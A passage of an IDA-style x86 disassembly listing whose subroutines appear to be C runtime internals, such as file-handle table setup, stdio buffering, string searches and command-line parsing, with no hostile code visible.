loc_44B124:				; CODE XREF: sub_44B081+85j
		add	esi, edi


loc_44B126:				; CODE XREF: sub_44B081+6Cj
		cmp	esi, [ebx+10h]
		jb	short loc_44B0EF
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		test	word ptr [ebx],	0C00h
		jz	short loc_44B13D
		mov	esi, [ebx+8]
		jmp	short loc_44B140
; ---------------------------------------------------------------------------


loc_44B13D:				; CODE XREF: sub_44B081+B5j
		mov	esi, [ebx+0Ch]


loc_44B140:				; CODE XREF: sub_44B081+BAj
		test	word ptr [ebx],	4000h
		jz	short loc_44B14C
		mov	[ebx+18h], esi
		jmp	short loc_44B14F
; ---------------------------------------------------------------------------


loc_44B14C:				; CODE XREF: sub_44B081+C4j
		mov	[ebx+30h], esi


loc_44B14F:				; CODE XREF: sub_44B081+C9j
		xor	eax, eax


loc_44B151:				; CODE XREF: sub_44B081+5Cj
					; sub_44B081+67j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44B081	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B161	proc near		; CODE XREF: sub_44B201+41p
					; sub_44DCC1+328p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_44CF41
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44B1B0
		cmp	ebx, 1
		jz	short loc_44B184
		cmp	ebx, 2
		jnz	short loc_44B19E


loc_44B184:				; CODE XREF: sub_44B161+1Cj
		push	1
		call	sub_44CF41
		pop	ecx
		mov	[ebp+var_4], eax
		push	2
		call	sub_44CF41
		pop	ecx
		mov	edx, [ebp+var_4]
		cmp	edx, eax
		jz	short loc_44B1B0


loc_44B19E:				; CODE XREF: sub_44B161+21j
		push	ebx
		call	sub_44CF41
		pop	ecx
		push	eax
		call	dword_411CF8
		test	eax, eax
		jz	short loc_44B1B4


loc_44B1B0:				; CODE XREF: sub_44B161+17j
					; sub_44B161+3Bj
		xor	esi, esi
		jmp	short loc_44B1BC
; ---------------------------------------------------------------------------


loc_44B1B4:				; CODE XREF: sub_44B161+4Dj
		call	dword_411CE8
		mov	esi, eax


loc_44B1BC:				; CODE XREF: sub_44B161+51j
		push	ebx
		call	sub_44CDF1
		pop	ecx
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	byte ptr [edx+eax+4], 0
		test	esi, esi
		jz	short loc_44B1EC
		push	esi
		call	sub_44A621
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44B1EE
; ---------------------------------------------------------------------------


loc_44B1EC:				; CODE XREF: sub_44B161+7Dj
		xor	eax, eax


loc_44B1EE:				; CODE XREF: sub_44B161+89j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44B161	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44B201	proc near		; CODE XREF: sub_449861+30p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_44B22A
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44B23A


loc_44B22A:				; CODE XREF: sub_44B201+Cj
		call	sub_44A781
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44B253
; ---------------------------------------------------------------------------


loc_44B23A:				; CODE XREF: sub_44B201+27j
		push	ebx
		call	sub_44D061
		pop	ecx
		push	ebx
		call	sub_44B161
		pop	ecx
		mov	esi, eax
		push	ebx
		call	sub_44D0C1
		pop	ecx
		mov	eax, esi


loc_44B253:				; CODE XREF: sub_44B201+37j
		pop	esi
		pop	ebx
		retn
sub_44B201	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44B261	proc near		; CODE XREF: sub_449AA1+39p
					; sub_44ABC1+102p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [esp+arg_4]
		mov	dl, al
		jmp	short loc_44B276
; ---------------------------------------------------------------------------


loc_44B26D:				; CODE XREF: sub_44B261+17j
		cmp	byte ptr [ecx],	0
		jnz	short loc_44B275
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_44B275:				; CODE XREF: sub_44B261+Fj
		inc	ecx


loc_44B276:				; CODE XREF: sub_44B261+Aj
		cmp	[ecx], dl
		jnz	short loc_44B26D
		mov	eax, ecx
		retn
sub_44B261	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B281	proc near		; CODE XREF: sub_449B41+3Dp
					; sub_44F1E1+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+18h]
		cmp	eax, [ebx+10h]
		jbe	short loc_44B29A
		xor	eax, eax
		jmp	loc_44B373
; ---------------------------------------------------------------------------


loc_44B29A:				; CODE XREF: sub_44B281+10j
		movzx	eax, word ptr [ebx]
		and	eax, 9002h
		cmp	eax, 2
		jz	short loc_44B2D6
		movzx	eax, word ptr [ebx]
		mov	[ebp+var_4], eax
		test	eax, 8000h
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 4000h
		add	eax, 200h
		mov	edx, [ebp+var_4]
		or	edx, eax
		mov	ax, dx
		mov	[ebx], ax
		or	eax, 0FFFFFFFFh
		jmp	loc_44B373
; ---------------------------------------------------------------------------


loc_44B2D6:				; CODE XREF: sub_44B281+24j
		movzx	eax, word ptr [ebx]
		and	eax, 6000h
		cmp	eax, 6000h
		jnz	short loc_44B2FD
		mov	eax, [ebx+0Ch]
		cmp	eax, [ebx+10h]
		ja	short loc_44B2FD
		push	ebx
		call	sub_44B081
		pop	ecx
		test	eax, eax
		jz	short loc_44B2FD
		or	eax, 0FFFFFFFFh
		jmp	short loc_44B373
; ---------------------------------------------------------------------------


loc_44B2FD:				; CODE XREF: sub_44B281+62j
					; sub_44B281+6Aj ...
		test	word ptr [ebx],	0C00h
		jnz	short loc_44B30C
		lea	eax, [ebx+48h]
		cmp	eax, [ebx+8]
		jz	short loc_44B30E


loc_44B30C:				; CODE XREF: sub_44B281+81j
		jmp	short loc_44B360
; ---------------------------------------------------------------------------


loc_44B30E:				; CODE XREF: sub_44B281+89j
		push	200h
		call	sub_44A581
		pop	ecx
		mov	[ebx+8], eax
		test	eax, eax
		jnz	short loc_44B33A
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		inc	eax
		mov	[ebx+0Ch], eax
		call	sub_4497E1
		jmp	short loc_44B360
; ---------------------------------------------------------------------------


loc_44B33A:				; CODE XREF: sub_44B281+9Dj
		or	word ptr [ebx],	40h
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		add	eax, 200h
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+8]
		mov	[ebx+2Ch], eax
		mov	eax, [ebx+8]
		mov	[ebx+30h], eax
		call	sub_4497E1


loc_44B360:				; CODE XREF: sub_44B281:loc_44B30Cj
					; sub_44B281+B7j
		mov	eax, [ebx+8]
		mov	[ebx+14h], eax
		mov	eax, [ebx+0Ch]
		mov	[ebx+18h], eax
		or	word ptr [ebx],	6000h
		xor	eax, eax


loc_44B373:				; CODE XREF: sub_44B281+14j
					; sub_44B281+50j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44B281	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44B381	proc near		; CODE XREF: sub_449B41+59p
					; sub_44C011+696p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		mov	bl, al
		mov	edx, [esp+4+arg_0]
		jmp	short loc_44B39C
; ---------------------------------------------------------------------------


loc_44B392:				; CODE XREF: sub_44B381+1Dj
		cmp	[edx], bl
		jnz	short loc_44B39A
		mov	eax, edx
		jmp	short loc_44B3A2
; ---------------------------------------------------------------------------


loc_44B39A:				; CODE XREF: sub_44B381+13j
		inc	edx
		dec	ecx


loc_44B39C:				; CODE XREF: sub_44B381+Fj
		test	ecx, ecx
		jnz	short loc_44B392
		xor	eax, eax


loc_44B3A2:				; CODE XREF: sub_44B381+17j
		pop	ebx
		retn
sub_44B381	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44B3B1	proc near		; CODE XREF: DMN1:loc_449EC8p
		push	ebx
		call	sub_44AA81
		call	dword_411DD4
		mov	dword_411770, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44B3CD
		xor	eax, eax
		jmp	short loc_44B408
; ---------------------------------------------------------------------------


loc_44B3CD:				; CODE XREF: sub_44B3B1+16j
		push	48h
		call	sub_44A581
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44B3EC
		push	ebx
		mov	eax, dword_411770
		push	eax
		call	dword_411D98
		test	eax, eax
		jnz	short loc_44B3F0


loc_44B3EC:				; CODE XREF: sub_44B3B1+28j
		xor	eax, eax
		jmp	short loc_44B408
; ---------------------------------------------------------------------------


loc_44B3F0:				; CODE XREF: sub_44B3B1+39j
		push	ebx
		call	sub_44B441
		pop	ecx
		call	dword_411DD8
		mov	[ebx], eax
		or	dword ptr [ebx+4], 0FFFFFFFFh
		mov	eax, 1


loc_44B408:				; CODE XREF: sub_44B3B1+1Aj
					; sub_44B3B1+3Dj
		pop	ebx
		retn
sub_44B3B1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		call	sub_44AAC1
		cmp	dword_411770, 0FFFFFFFFh
		jz	short locret_44B435
		mov	eax, dword_411770
		push	eax
		call	dword_411DDC
		or	dword_411770, 0FFFFFFFFh

locret_44B435:				; CODE XREF: DMN1:0044B420j
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44B441	proc near		; CODE XREF: sub_449CF1+17p
					; sub_44B3B1+40p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	edx, ebx
		mov	ecx, 48h
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx
		mov	dword ptr [ebx+34h], offset dword_4117E4
		mov	dword ptr [ebx+10h], 1
		pop	ebx
		retn
sub_44B441	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44B471	proc near		; CODE XREF: sub_449D81+1p sub_44A781p ...
		push	ebx
		push	esi
		call	dword_411CE8
		mov	esi, eax
		mov	eax, dword_411770
		push	eax
		call	dword_411DE0
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_44B4C9
		push	48h
		call	sub_44A581
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44B4C1
		push	ebx
		mov	eax, dword_411770
		push	eax
		call	dword_411D98
		test	eax, eax
		jz	short loc_44B4C1
		push	ebx
		call	sub_44B441
		pop	ecx
		call	dword_411DD8
		mov	[ebx], eax
		or	dword ptr [ebx+4], 0FFFFFFFFh
		jmp	short loc_44B4C9
; ---------------------------------------------------------------------------


loc_44B4C1:				; CODE XREF: sub_44B471+28j
					; sub_44B471+39j
		push	1
		call	sub_44B571
		pop	ecx


loc_44B4C9:				; CODE XREF: sub_44B471+1Aj
					; sub_44B471+4Ej
		push	esi
		call	dword_411D14
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_44B471	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44B4E1	proc near		; CODE XREF: sub_449D81+28p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	dword_411770, 0FFFFFFFFh
		jz	short loc_44B56D
		test	ebx, ebx
		jnz	short loc_44B504
		mov	eax, dword_411770
		push	eax
		call	dword_411DE0
		mov	ebx, eax


loc_44B504:				; CODE XREF: sub_44B4E1+13j
		test	ebx, ebx
		jz	short loc_44B55F
		mov	eax, [ebx+20h]
		push	eax
		call	sub_4494D1
		pop	ecx
		mov	eax, [ebx+24h]
		push	eax
		call	sub_4494D1
		pop	ecx
		mov	eax, [ebx+28h]
		push	eax
		call	sub_4494D1
		pop	ecx
		mov	eax, [ebx+2Ch]
		push	eax
		call	sub_4494D1
		pop	ecx
		mov	eax, [ebx+30h]
		push	eax
		call	sub_4494D1
		pop	ecx
		mov	eax, [ebx+34h]
		cmp	eax, offset dword_4117E4
		jz	short loc_44B54E
		mov	eax, [ebx+34h]
		push	eax
		call	sub_4494D1
		pop	ecx


loc_44B54E:				; CODE XREF: sub_44B4E1+61j
		mov	eax, [ebx+3Ch]
		push	eax
		call	sub_4494D1
		pop	ecx
		push	ebx
		call	sub_4494D1
		pop	ecx


loc_44B55F:				; CODE XREF: sub_44B4E1+25j
		push	0
		mov	eax, dword_411770
		push	eax
		call	dword_411D98


loc_44B56D:				; CODE XREF: sub_44B4E1+Fj
		pop	ebx
		retn
sub_44B4E1	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================



sub_44B571	proc near		; CODE XREF: DMN1:00449C8Dp
					; DMN1:00449CCBp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	dword_411D30
		retn
sub_44B571	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================



sub_44B581	proc near		; CODE XREF: DMN1:00449CBBp
					; DMN1:00449F78p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	esi, offset dword_411774
		jmp	short loc_44B5D3
; ---------------------------------------------------------------------------


loc_44B58F:				; CODE XREF: sub_44B581+58j
		cmp	[esi], ebx
		jnz	short loc_44B5D0
		push	1
		mov	eax, [esi+4]
		push	eax
		call	sub_44D131
		add	esp, 8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_44B5AF
		test	edi, edi
		jnz	short loc_44B5B1


loc_44B5AF:				; CODE XREF: sub_44B581+28j
		jmp	short loc_44B5DB
; ---------------------------------------------------------------------------


loc_44B5B1:				; CODE XREF: sub_44B581+2Cj
		cmp	edi, 1
		jz	short loc_44B5CB
		push	0
		mov	eax, [esi+4]
		push	eax
		call	sub_44D131
		add	esp, 8
		mov	eax, [esi+4]
		push	eax
		call	edi
		pop	ecx


loc_44B5CB:				; CODE XREF: sub_44B581+33j
		or	eax, 0FFFFFFFFh
		jmp	short loc_44B5E6
; ---------------------------------------------------------------------------


loc_44B5D0:				; CODE XREF: sub_44B581+10j
		add	esi, 8


loc_44B5D3:				; CODE XREF: sub_44B581+Cj
		cmp	esi, offset dword_4117C4
		jb	short loc_44B58F


loc_44B5DB:				; CODE XREF: sub_44B581:loc_44B5AFj
		mov	eax, [esp+0Ch+arg_4]
		push	eax
		call	dword_411DE4


loc_44B5E6:				; CODE XREF: sub_44B581+4Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_44B581	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44B5F1	proc near		; CODE XREF: sub_449E71+5p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	dword_411D18
		test	eax, eax
		jnz	short loc_44B611
		call	dword_411CE8
		push	eax
		call	sub_44A621
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_44B611:				; CODE XREF: sub_44B5F1+Dj
		xor	eax, eax
		retn
sub_44B5F1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44B621	proc near		; CODE XREF: DMN1:00449EE0p
		push	offset dword_412854
		call	dword_411DE8
		retn
sub_44B621	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		lea	eax, [ebp-8]
		push	eax
		call	dword_411DE8
		mov	eax, [ebp-8]
		mov	edx, [ebp-4]
		mov	ecx, dword_412854
		mov	ebx, dword_412858
		sub	eax, ecx
		sbb	edx, ebx
		mov	[ebp-8], eax
		mov	[ebp-4], edx
		mov	eax, [ebp-8]
		mov	edx, [ebp-4]
		push	edx
		push	eax
		push	0
		push	2710h
		call	sub_44D221
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B681	proc near		; CODE XREF: DMN1:00449EE5p

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		push	480h
		call	sub_44A581
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_44B6A3
		push	1
		call	sub_44B571
		pop	ecx


loc_44B6A3:				; CODE XREF: sub_44B681+18j
		mov	dword_413988, ebx
		mov	dword_413A88, 20h
		jmp	short loc_44B6CD
; ---------------------------------------------------------------------------


loc_44B6B5:				; CODE XREF: sub_44B681+58j
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_44B6CD:				; CODE XREF: sub_44B681+32j
		mov	eax, dword_413988
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_44B6B5
		lea	eax, [ebp+var_58]
		push	eax
		call	dword_411DA8
		cmp	[ebp+var_26], 0
		jz	loc_44B7F3
		cmp	[ebp+var_24], 0
		jz	loc_44B7F3
		mov	eax, [ebp+var_24]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_24]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_4]
		add	edx, eax
		mov	[ebp+var_8], edx
		cmp	eax, 800h
		jle	short loc_44B724
		mov	[ebp+var_10], 800h


loc_44B724:				; CODE XREF: sub_44B681+9Aj
		mov	esi, 1
		jmp	short loc_44B77F
; ---------------------------------------------------------------------------


loc_44B72B:				; CODE XREF: sub_44B681+107j
		push	480h
		call	sub_44A581
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_44B746
		mov	eax, dword_413A88
		mov	[ebp+var_10], eax
		jmp	short loc_44B78A
; ---------------------------------------------------------------------------


loc_44B746:				; CODE XREF: sub_44B681+B9j
		mov	dword_413988[esi*4], ebx
		add	dword_413A88, 20h
		jmp	short loc_44B76E
; ---------------------------------------------------------------------------


loc_44B756:				; CODE XREF: sub_44B681+FBj
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_44B76E:				; CODE XREF: sub_44B681+D3j
		mov	eax, dword_413988[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_44B756
		inc	esi


loc_44B77F:				; CODE XREF: sub_44B681+A8j
		mov	eax, [ebp+var_10]
		cmp	dword_413A88, eax
		jl	short loc_44B72B


loc_44B78A:				; CODE XREF: sub_44B681+C3j
		xor	edi, edi
		jmp	short loc_44B7EE
; ---------------------------------------------------------------------------


loc_44B78E:				; CODE XREF: sub_44B681+170j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44B7E1
		mov	edx, [ebp+var_4]
		movzx	edx, byte ptr [edx]
		test	edx, 1
		jz	short loc_44B7E1
		test	edx, 8
		jnz	short loc_44B7BB
		push	eax
		call	dword_411DEC
		test	eax, eax
		jz	short loc_44B7E1


loc_44B7BB:				; CODE XREF: sub_44B681+12Dj
		mov	eax, edi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, edi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	ebx, [edx+eax]
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		mov	[ebx+4], al


loc_44B7E1:				; CODE XREF: sub_44B681+117j
					; sub_44B681+125j ...
		inc	edi
		inc	[ebp+var_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_44B7EE:				; CODE XREF: sub_44B681+10Bj
		cmp	edi, [ebp+var_10]
		jl	short loc_44B78E


loc_44B7F3:				; CODE XREF: sub_44B681+69j
					; sub_44B681+73j
		xor	edi, edi


loc_44B7F5:				; CODE XREF: sub_44B681+23Ej
		imul	eax, edi, 24h
		mov	edx, dword_413988
		lea	ebx, [edx+eax]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	loc_44B8B7
		mov	byte ptr [ebx+4], 81h
		test	edi, edi
		jnz	short loc_44B81E
		mov	[ebp+var_5C], 0FFFFFFF6h
		jmp	short loc_44B82F
; ---------------------------------------------------------------------------


loc_44B81E:				; CODE XREF: sub_44B681+192j
		cmp	edi, 1
		setz	al
		and	eax, 1
		add	eax, 0FFFFFFF4h
		mov	[ebp+var_5C], eax


loc_44B82F:				; CODE XREF: sub_44B681+19Bj
		mov	eax, [ebp+var_5C]
		push	eax
		call	dword_411CD4
		mov	[ebp+var_C], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44B8B1
		mov	eax, [ebp+var_C]
		push	eax
		call	dword_411DEC
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_44B8B1
		call	dword_411D64
		mov	[ebp+var_64], eax
		call	dword_411D64
		push	2
		push	1
		push	0
		lea	edx, [ebp+var_60]
		push	edx
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_64]
		push	eax
		call	dword_411DF0
		test	eax, eax
		jz	short loc_44B886
		mov	eax, [ebp+var_60]
		mov	[ebp+var_C], eax


loc_44B886:				; CODE XREF: sub_44B681+1FDj
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		cmp	eax, 2
		jnz	short loc_44B89E
		or	byte ptr [ebx+4], 40h
		jmp	short loc_44B8BB
; ---------------------------------------------------------------------------


loc_44B89E:				; CODE XREF: sub_44B681+215j
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		cmp	eax, 3
		jnz	short loc_44B8BB
		or	byte ptr [ebx+4], 8
		jmp	short loc_44B8BB
; ---------------------------------------------------------------------------


loc_44B8B1:				; CODE XREF: sub_44B681+1C0j
					; sub_44B681+1D1j
		or	byte ptr [ebx+4], 40h
		jmp	short loc_44B8BB
; ---------------------------------------------------------------------------


loc_44B8B7:				; CODE XREF: sub_44B681+186j
		or	byte ptr [ebx+4], 80h


loc_44B8BB:				; CODE XREF: sub_44B681+21Bj
					; sub_44B681+228j ...
		inc	edi
		cmp	edi, 3
		jl	loc_44B7F5
		mov	eax, dword_413A88
		push	eax
		call	dword_411DF4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44B681	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		xor	ebx, ebx


loc_44B8E5:				; CODE XREF: DMN1:0044B938j
		cmp	dword_413988[ebx*4], 0
		jz	short loc_44B934
		mov	esi, dword_413988[ebx*4]
		jmp	short loc_44B90B
; ---------------------------------------------------------------------------


loc_44B8F8:				; CODE XREF: DMN1:0044B919j
		cmp	dword ptr [esi+8], 0
		jz	short loc_44B908
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411DCC


loc_44B908:				; CODE XREF: DMN1:0044B8FCj
		add	esi, 24h


loc_44B90B:				; CODE XREF: DMN1:0044B8F6j
		mov	eax, dword_413988[ebx*4]
		add	eax, 480h
		cmp	esi, eax
		jb	short loc_44B8F8
		mov	eax, dword_413988[ebx*4]
		push	eax
		call	sub_4494D1
		pop	ecx
		mov	dword_413988[ebx*4], 0


loc_44B934:				; CODE XREF: DMN1:0044B8EDj
		inc	ebx
		cmp	ebx, 40h
		jl	short loc_44B8E5
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B941	proc near		; CODE XREF: sub_44BAF1+3Fp
					; sub_44BAF1+76p

var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	edi
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_10]
		mov	dword ptr [edx], 0
		mov	edx, [ebp+arg_C]
		mov	dword ptr [edx], 1
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+arg_4], 0
		jz	short loc_44B972
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	[eax], ecx


loc_44B972:				; CODE XREF: sub_44B941+24j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44B9AD
		jmp	short loc_44B989
; ---------------------------------------------------------------------------


loc_44B979:				; CODE XREF: sub_44B941+53j
		test	ecx, ecx
		jz	short loc_44B984
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_44B984:				; CODE XREF: sub_44B941+3Aj
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_44B989:				; CODE XREF: sub_44B941+36j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	22h
		jz	short loc_44B996
		cmp	byte ptr [ebx],	0
		jnz	short loc_44B979


loc_44B996:				; CODE XREF: sub_44B941+4Ej
		test	ecx, ecx
		jz	short loc_44B9A0
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	0


loc_44B9A0:				; CODE XREF: sub_44B941+57j
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44B9E5
		inc	ebx
		jmp	short loc_44B9E5
; ---------------------------------------------------------------------------


loc_44B9AD:				; CODE XREF: sub_44B941+34j
					; sub_44B941+91j
		test	ecx, ecx
		jz	short loc_44B9B8
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_44B9B8:				; CODE XREF: sub_44B941+6Ej
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	[ebp+var_9], al
		mov	al, [ebp+var_9]
		cmp	al, 20h
		jz	short loc_44B9D4
		test	al, al
		jz	short loc_44B9D4
		cmp	al, 9
		jnz	short loc_44B9AD


loc_44B9D4:				; CODE XREF: sub_44B941+89j
					; sub_44B941+8Dj
		cmp	[ebp+var_9], 0
		jnz	short loc_44B9DD
		dec	ebx
		jmp	short loc_44B9E5
; ---------------------------------------------------------------------------


loc_44B9DD:				; CODE XREF: sub_44B941+97j
		test	ecx, ecx
		jz	short loc_44B9E5
		mov	byte ptr [ecx-1], 0


loc_44B9E5:				; CODE XREF: sub_44B941+67j
					; sub_44B941+6Aj ...
		mov	[ebp+var_8], 0


loc_44B9EC:				; CODE XREF: sub_44B941+181j
		cmp	byte ptr [ebx],	0
		jz	short loc_44B9FE
		jmp	short loc_44B9F4
; ---------------------------------------------------------------------------


loc_44B9F3:				; CODE XREF: sub_44B941+B7j
					; sub_44B941+BBj
		inc	ebx


loc_44B9F4:				; CODE XREF: sub_44B941+B0j
		mov	al, [ebx]
